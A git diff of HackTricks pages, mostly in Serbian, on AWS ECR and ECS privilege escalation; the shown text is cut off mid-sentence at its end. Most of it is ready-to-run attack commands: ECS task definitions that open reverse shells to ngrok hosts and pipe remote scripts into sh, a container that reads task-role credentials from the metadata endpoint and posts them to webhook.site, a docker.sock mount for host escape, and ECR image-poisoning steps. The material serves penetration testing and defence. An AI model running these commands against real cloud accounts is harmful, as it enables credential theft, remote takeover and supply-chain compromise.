+"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**Potencijalni uticaj**: Neovlašćen javni pristup ECR Public repozitorijumu, omogućavajući bilo kojem korisniku da push, pull ili delete images. + +### `ecr:PutRegistryPolicy` + +Napadač sa ovom dozvolom može **izmeniti** **registry policy** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje i pisanje**. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. Ovo omogućava workload-ovima koji preuzimaju iz privatnog ECR-a da transparentno dobiju napadačke slike bez potrebe za bilo kakvim push-om u privatni ECR. + +- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo. +- Tested upstream: public.ecr.aws + +Steps (example): + +1. Prepare attacker image in ECR Public +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. Create the PTC rule in private ECR to map a trusted prefix to the public registry +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. Pull the attacker image via the private ECR path (no push to private ECR was done) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +Potential Impact: Kompromitovanje supply-chain-a preotimanjem internih imena slika pod izabranim prefiksom. Bilo koji workload koji preuzima slike iz privatnog ECR-a koristeći taj prefiks će dobiti sadržaj pod kontrolom napadača. + +### `ecr:PutImageTagMutability` + +Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content. + +- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Impact: Kompromitovanje supply-chain-a tiho zamenjujući immutable tagove bez promene imena tagova. + +Steps (example): + +
+Poison an immutable tag by toggling mutability +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
+ + +#### Global registry hijack putem ROOT Pull-Through Cache pravila + +Kreirajte Pull-Through Cache (PTC) pravilo koristeći specijalni `ecrRepositoryPrefix=ROOT` kako biste mapirali koren privatnog ECR registry-ja na upstream javni registry (npr. ECR Public). Bilo koji pull ka nepostojećem repository-ju u privatnom registry-ju biće transparentno poslužen sa upstream-a, omogućavajući supply-chain hijacking bez push-ovanja u privatni ECR. + +- Potrebne dozvole: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Uticaj: Povlačenja ka `.dkr.ecr..amazonaws.com/:` uspevaju i automatski kreiraju privatne repozitorijume koji potiču sa upstream-a. + +> Napomena: Za `ROOT` pravila, izostavite `--upstream-repository-prefix`. Navođenje istog će prouzrokovati grešku pri validaciji. + +
+Demo (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (Smanjivanje `REGISTRY_POLICY_SCOPE` da se zaobiđu zabrane u registry policy) + +Iskoristite `ecr:PutAccountSetting` da prebacite registry policy scope sa `V2` (policy se primenjuje na sve ECR akcije) na `V1` (policy se primenjuje samo na `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Ako restriktivni registry policy Deny blokira akcije poput `CreatePullThroughCacheRule`, spuštanje na `V1` uklanja to ograničenje tako da stupaju na snagu dozvole iz identity‑policy (Allows). + +- Potrebne permisije: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Uticaj: Mogućnost izvršavanja ECR akcija koje su ranije bile blokirane registry policy Deny (npr. kreiranje PTC pravila) privremenim postavljanjem scope na `V1`. + +Koraci (primer): + +
+Zaobiđite registry policy Deny za CreatePullThroughCacheRule prebacivanjem na V1 +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index f51f537fc..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,328 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Više **informacija o ECS** u: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS može **generisati novu task definition** sa **malicious container-om** koji krade metadata credentials i **pokrenuti je**. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -Kreirajte webhook na sajtu kao što je webhook.site -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Potential Impact:** Direktan privesc na drugu ECS ulogu. - -### `iam:PassRole`,`ecs:RunTask` -Napadač koji ima `iam:PassRole` i `ecs:RunTask` dozvole može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` u CLI sadrži opciju `--overrides` koja omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez izmene task definition. - -Naznačene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju dozvoljavati da ih preuzme `ecs-tasks.amazonaws.com` u svojoj politici poverenja. - -Takođe, napadač treba da zna: -- Ime ECS klastera -- VPC Subnet -- Security group (Ako nije navedena, koristiće se podrazumevana) -- Ime Task Definition-a i revizija -- Ime kontejnera -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -U gornjem primeru koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u task definition da bi napad bio moguć. - -Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR image i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), napadač može navesti istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u komandi `ecs run-task`. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**Potencijalni uticaj:** Direct privesc to any ECS task role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može da **generate a new task definition** sa **malicious container** koji krade **metadata credentials** i da ga **run it**.\ -Međutim, u ovom slučaju, potrebna je container instance da bi se malicious task definition pokrenuo. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**Potencijalni uticaj:** Direct privesc to any ECS role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - - -Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu task definition** sa **malicioznim containerom** koji krade **metadata credentials** i **pokrenuti je kreiranjem novog servisa sa najmanje jednim taskom koji radi.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**Potencijalni uticaj:** Direktan privesc na bilo koju ECS ulogu. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -Zapravo, samo sa tim dozvolama moguće je, koristeći overrides, izvršiti proizvoljne komande u kontejneru sa proizvoljnom ulogom, nešto poput: -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**Potential Impact:** Direktan privesc na bilo koju ECS ulogu. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\ -Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan kontejner, čak i ako je bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukrasti EC2 IAM ulogu** i **uloge drugih ECS kontejnera** koji se izvršavaju na čvoru.\ -Mogli biste čak i naterati druge taskove da se pokrenu unutar EC2 instance koju kompromitujete kako biste ukrali njihove credentials (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). - -> [!WARNING] -> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance i ne Fargate. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM rolu vezanu za njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\ -Međutim, da bi se to uradilo, container instance mora da pokreće **ExecuteCommand agent** (što po defaultu nije). - -Stoga napadač može pokušati: - -- **Pokušati izvršiti komandu** u svakom pokrenutom kontejneru -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - -# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- Ako ima **`ecs:RunTask`**, pokrenite task sa `aws ecs run-task --enable-execute-command [...]` -- Ako ima **`ecs:StartTask`**, pokrenite task sa `aws ecs start-task --enable-execute-command [...]` -- Ako ima **`ecs:CreateService`**, kreirajte service sa `aws ecs create-service --enable-execute-command [...]` -- Ako ima **`ecs:UpdateService`**, ažurirajte service sa `aws ecs update-service --enable-execute-command [...]` - -Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**. - -**Potencijalni uticaj:** Privesc na drugu rolu pridruženu kontejnerima. - -### `ssm:StartSession` - -Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc na ECS**: - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc na ECS**: - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -Attacker sa ovim dozvolama mogao bi potencijalno registrovati EC2 instancu u ECS klasteru i pokrenuti tasks na njoj. To bi attacker-u omogućilo izvršavanje proizvoljnog koda u kontekstu ECS tasks. - -- TODO: Da li je moguće registrovati instancu iz drugog AWS account-a tako da se tasks pokreću na mašinama koje kontroliše attacker?? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO: Test this - -Attacker sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati malicious task set za postojeću ECS service i ažurirati primary task set**. Ovo omogućava attacker-u da **izvrši proizvoljni kod unutar servisa**. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**Potencijalni uticaj**: Execute arbitrary code u pogođenoj usluzi, potencijalno utičući na njenu funkcionalnost ili exfiltrating sensitive data. - -## References - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..771b4169b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,550 @@ +# AWS - ECS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Više **informacija o ECS** u: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +Napadač koji zloupotrebljava dozvole `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS-u može **generisati novu task definition** sa **malicious container** koji krade metadata credentials i **pokrenuti je**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Kreiraj webhook koristeći sajt kao što je webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Mogući uticaj:** Direct privesc na drugu ECS ulogu. + +### `iam:PassRole`,`ecs:RunTask` +Napadač koji ima dozvole `iam:PassRole` i `ecs:RunTask` može pokrenuti novu ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. CLI komanda `ecs run-task` sadrži `--overrides` flag koji omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i **command** kontejnera bez menjanja task definition. + +Specifikovane IAM role za `taskRoleArn` i `executionRoleArn` moraju u svojoj trust policy dozvoliti/omogućiti da ih preuzme `ecs-tasks.amazonaws.com`. + +Takođe, napadač mora znati: +- ECS cluster name +- VPC Subnet +- Security group (Ako nije navedena security group, koristiće se podrazumevana) +- Task Definition Name and revision +- Name of the Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +U primeru koda iznad napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u task definition da bi napad bio moguć. + +Ako IAM role koju napadač može da prosledi ima dovoljno privilegija da preuzme ECR image i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), napadač može da navede istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Mogući uticaj:** Direktan privesc na bilo koju ECS task role. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može **generisati novi task definition** sa **zlonamernim containerom** koji ukrade metadata credentials i **pokrenuti ga**.\ +Međutim, u ovom slučaju, mora postojati container instance da pokrene zlonamerni task definition. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**Potential Impact:** Direktan privesc na bilo koju ECS ulogu. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + +Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS-u može **generisati novu task definition** sa 